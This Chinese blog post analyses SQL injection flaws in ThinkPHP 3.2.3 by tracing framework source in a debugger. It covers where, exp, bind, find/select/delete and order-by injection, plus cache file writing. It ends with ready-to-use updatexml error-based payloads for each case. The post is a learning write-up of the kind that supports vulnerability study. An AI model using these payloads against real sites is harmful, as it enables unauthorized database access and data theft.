php 3.2 get order sn,ThinkPHP3.2.3漏洞分析

一、前言

ThinkPHP的漏洞分析文章有很多,这里我只是想对我学习的过程进行一个记录,有点菜,希望大佬不要喷我。

二、where注入

在控制器中,写个demo,利用字符串方式作为where传参时存在注

public function  getuser(){    $user = M('User')->where('id='.I('id'))->find();    dump($user);}

在变量user地方进行断点,PHPSTROM F7进入,I方法获取传入的参数

switch(strtolower($method)) {        case 'get'     :                   $input =& $_GET;                break;        case 'post'    :                   $input =& $_POST;                break;        case 'put'     :                   if(is_null($_PUT)){                    parse_str(file_get_contents('php://input'), $_PUT);                }                $input         =        $_PUT;                        break;        case 'param'   :            switch($_SERVER['REQUEST_METHOD']) {                case 'POST':                    $input  =  $_POST;                    break;                case 'PUT':                        if(is_null($_PUT)){                            parse_str(file_get_contents('php://input'), $_PUT);                        }                        $input         =        $_PUT;                    break;                default:                    $input  =  $_GET;            }            break; ......

重点看过滤函数

136be34314a57ba454d97dfa8ef5d707.png

先利用htmlspecialchars函数过滤参数,在402行利用think_filter函数过滤常规sql函数

function think_filter(&$value){        // TODO 其他安全过滤        // 过滤查询特殊字符    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){        $value .= ' ';    }}

在where方法中,将$where的值放入到options[“where”]数组中

136be34314a57ba454d97dfa8ef5d707.png

继续跟进查看find方法,第748行

$options     =   $this->_parseOptions($options);

在数组$options中增加’table’=>’tp_user’,’model’=>’User’,随后F7跟进select方法

public function select($options=array()) {        $this->model  =   $options['model'];        $this->parseBind(!empty($options['bind'])?$options['bind']:array());        $sql    = $this->buildSelectSql($options);        $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);        return $result;}

跟进buildSelectSql方法,继续在跟进parseSql方法,这里可以看到生成完整的sql语句

136be34314a57ba454d97dfa8ef5d707.png

这里主要查看parseWhere方法

136be34314a57ba454d97dfa8ef5d707.png

跟进parseThinkWhere方法

protected function parseThinkWhere($key,$val) {        $whereStr   = '';        switch($key) {            case '_string':                // 字符串模式查询条件                $whereStr = $val;                break;            case '_complex':                // 复合查询条件                $whereStr = substr($this->parseWhere($val),6);                break;

$key为_string,所以$whereStr为传入的参数的值,最后parserWhere方法返回(id=1p),所以最终payload为

1) and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)--+

136be34314a57ba454d97dfa8ef5d707.png

三、exp注入

漏洞demo,这里使用全局数组进行传参(不要用I方法),漏洞才能生效

public function  getuser(){        $User = D('User');        $map = array('id' => $_GET['id']);        $user = $User->where($map)->find();        dump($user);}

直接在$user进行断点,F7跟进,跳过where方法,跟进find->select->buildSelectSql->parseSql->parseWhere

136be34314a57ba454d97dfa8ef5d707.png

跟进parseWhereItem方法,此时参数$val为一个数组,{‘exp’,’sql注入exp’}

136be34314a57ba454d97dfa8ef5d707.png

此时当$exp满足exp时,将参数和值就行拼接,所以最终paylaod为

id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))--+

136be34314a57ba454d97dfa8ef5d707.png

上面至于为什么不能用I方法,原因是在过滤函数think_filter中能匹配到exp字符,所以在exp字符后面加了一个空格,导致在parseWhereItem方法中无法等于exp。

if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))

四、bind注入

漏洞demo

public function  getuser(){        $data['id'] = I('id');        $uname['username'] = I('username');        $user = M('User')->where($data)->save($uname);        dump($user);}

F8跟进save方法

136be34314a57ba454d97dfa8ef5d707.png

生成sql语句在update方法中

public function update($data,$options) {        $this->model  =   $options['model'];        $this->parseBind(!empty($options['bind'])?$options['bind']:array());        $table  =   $this->parseTable($options['table']);        $sql   = 'UPDATE ' . $table . $this->parseSet($data);        if(strpos($table,',')){// 多表更新支持JOIN操作            $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');        }        $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');        if(!strpos($table,',')){            //  单表更新支持order和lmit            $sql   .=  $this->parseOrder(!empty($options['order'])?$options['order']:'')                .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');        }        $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');        return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);    }

在parseSet方法中,可以将传入的参数替换成:0

136be34314a57ba454d97dfa8ef5d707.png

在bindParam方法中,$this->bind属性返回array(‘:0’=>参数值)

protected function bindParam($name,$value){        $this->bind[':'.$name]  =   $value;}

继续跟进parseWhere->parseWhereItem方法,当exp为bind时,就会在参数值前面加个冒号(:)

136be34314a57ba454d97dfa8ef5d707.png

由于在sql语句中有冒号,继续跟进excute方法,这里将:0替换成了第二个参数的值

136be34314a57ba454d97dfa8ef5d707.png

所以最终的payload为

id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing

136be34314a57ba454d97dfa8ef5d707.png

五、find/select/delete注入

先分析find注入,在控制器中写个漏洞demo

public function getuser(){    $user = M('User')->find(I('id'));    dump($user);}

当传入id[where]=1p时候,在user进行断点,F7跟进find->_parseOptions方法

136be34314a57ba454d97dfa8ef5d707.png

$options[‘where’]为字符串,导致不能执行_parseType方法转化数据,进行跟进select->buildSelectSql->parseSql->parseWhere方法,传入的$where为字符串,直接执行了if语句

protected function parseWhere($where) {        $whereStr = '';        if(is_string($where)) {            // 直接使用字符串条件            $whereStr = $where;            ......        }        return empty($whereStr)?'':' WHERE '.$whereStr;

当传入id=1p,就不能进行注入了,具体原因在find->_parseOptions->_parseType方法,将传入的参数进行了强转化为整形

136be34314a57ba454d97dfa8ef5d707.png

所以,payload为

?id[where]=1 and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)

136be34314a57ba454d97dfa8ef5d707.png

select和delete原理同find方法一样,只是delete方法多增加了一个判断是否为空

if(empty($options['where'])){            // 如果条件为空 不进行删除操作 除非设置 1=1            return false;        }                if(is_array($options['where']) && isset($options['where'][$pk])){            $pkValue            =  $options['where'][$pk];        }        if(false === $this->_before_delete($options)) {            return false;        }

六、order by注入

先在控制器中写个漏洞demo

public function user(){    $data['username'] = array('eq','admin');    $user = M('User')->where($data)->order(I('order'))->find();    dump($user);}

在user变量处断点,F7跟进,find->select->buildSelectSql->parseSql方法

$this->parseOrder(!empty($options['order'])?$options['order']:''),

当$options[‘order’]参数参在时,跟进parseOrder方法

136be34314a57ba454d97dfa8ef5d707.png

当不为数组时,直接返回order by + 注入pyload,所以注入payload为

order=id and(updatexml(1,concat(0x7e,(select user())),0))

136be34314a57ba454d97dfa8ef5d707.png

七、缓存漏洞

在ThinkPHP3.2中,缓存函数有F方法和S方法,两个方法有什么区别呢,官方介绍如下

F方法:相当于PHP自带的file_put_content和file_get_content函数,没有太多存在时间的概念,是文件存储数据的方式。常用于文件配置。S方法:文件缓存,有生命时长,时间到期后缓存内容会得到更新。常用于单页面data缓存。

这里F方法就不介绍了,直接看S方法

public function test(){    S('name',I('test'));}

跟进查看S方法

136be34314a57ba454d97dfa8ef5d707.png

set方法写入缓存

136be34314a57ba454d97dfa8ef5d707.png

跟进filename方法,此方法获取写入文件的路径,保存在../Application/Runtime/Temp目录下

private function filename($name) {        $name        =        md5(C('DATA_CACHE_KEY').$name);        if(C('DATA_CACHE_SUBDIR')) {            // 使用子目录            $dir   ='';            for($i=0;$ioptions['temp'].$dir)) {                mkdir($this->options['temp'].$dir,0755,true);            }            $filename        =        $dir.$this->options['prefix'].$name.'.php';        }else{            $filename        =        $this->options['prefix'].$name.'.php';        }        return $this->options['temp'].$filename;    }

并将S传入的name进行md5值作为文件名,最终通过file_put_contents函数写入文件。

136be34314a57ba454d97dfa8ef5d707.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值